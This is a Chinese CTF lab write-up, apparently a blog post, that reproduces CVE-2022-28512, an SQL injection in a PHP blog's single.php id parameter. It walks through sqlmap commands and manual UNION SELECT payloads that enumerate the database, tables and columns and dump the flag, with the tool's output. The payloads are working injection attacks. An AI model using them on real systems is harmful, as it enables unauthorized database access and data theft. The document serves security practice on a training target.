i春秋云镜 CVE-2022-28512 漏洞复现笔记
sqlmap工具注入
python sqlmap.py -u"http://eci-2zeeam96einfrib3wg1g.cloudeci1.ichunqiu.com/single.php?id=4" --batch --current-db -p"id"
得到库名
[13:53:03] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.20
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[13:53:03] [INFO] fetching current database
current database: 'ctf'
python sqlmap.py -u"http://eci-2zeeam96einfrib3wg1g.cloudeci1.ichunqiu.com/single.php?id=4" --batch -D ctf --tables
得到表名
Database: ctf
[14 tables]
+-----------------------------+
| banner_posts |
| blog_categories |
| blogs |
| editors_choice |
| flag |
| links |
| membership_grouppermissions |
| membership_groups |
| membership_userpermissions |
| membership_userrecords |
| membership_users |
| page_hits |
| titles |
| visitor_info |
+-----------------------------+
看到关键flag表
python sqlmap.py -u"http://eci-2zeeam96einfrib3wg1g.cloudeci1.ichunqiu.com/single.php?id=4" --batch -D ctf -T flag --columns
得到字段名
Database: ctf
Table: flag
[1 column]
+--------+---------------+
| Column | Type |
+--------+---------------+
| flag | varchar(1024) |
+--------+---------------+
python sqlmap.py -u"http://eci-2zeeam96einfrib3wg1g.cloudeci1.ichunqiu.com/single.php?id=4" --batch -D ctf -T flag -C flag --dump
拿到flag值
[1 entry]
+--------------------------------------------+
| flag |
+--------------------------------------------+
| flag{ba07fcfd-14cb-4bde-af09-18458b4eb7ed}
手工注入:
id=4' order by 10 --+ 报错
id=4' union select 1,2,3,4,5,6,7,8,9 --+ 4是回显点
id=-4' union select 1,2,3,database(),5,6,7,8,9 --+ 当前数据库名是ctf
开始跑表名
id=-4' union select 1,2,3,table_name ,5,6,7,8,9 from information_schema.tables where table_schema=database() limit 0,1 --+ titles
id=-4' union select 1,2,3,table_name ,5,6,7,8,9 from information_schema.tables where table_schema=database() limit 1,1 --+ page_hits
,,,,,,,,
,,,,,,,,
id=-4' union select 1,2,3,table_name ,5,6,7,8,9 from information_schema.tables where table_schema=database() limit 10,1 --+ flag(关键表)
/* 或是直接用 id=-4' union select 1,2,3,group_concat(table_name) ,5,6,7,8,9 from information_schema.tables where table_schema=database() --+
这句跑也能找到*/
开始跑字段名
id=-4' union select 1,2,3,column_name ,5,6,7,8,9 from information_schema.columns where table_name='flag' limit 0,1 --+ flag(关键字段)
跑数据
id=-4' union select 1,2,3,flag ,5,6,7,8,9 from flag --+
得到flag:
flag{ba07fcfd-14cb-4bde-af09-18458b4eb7ed}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?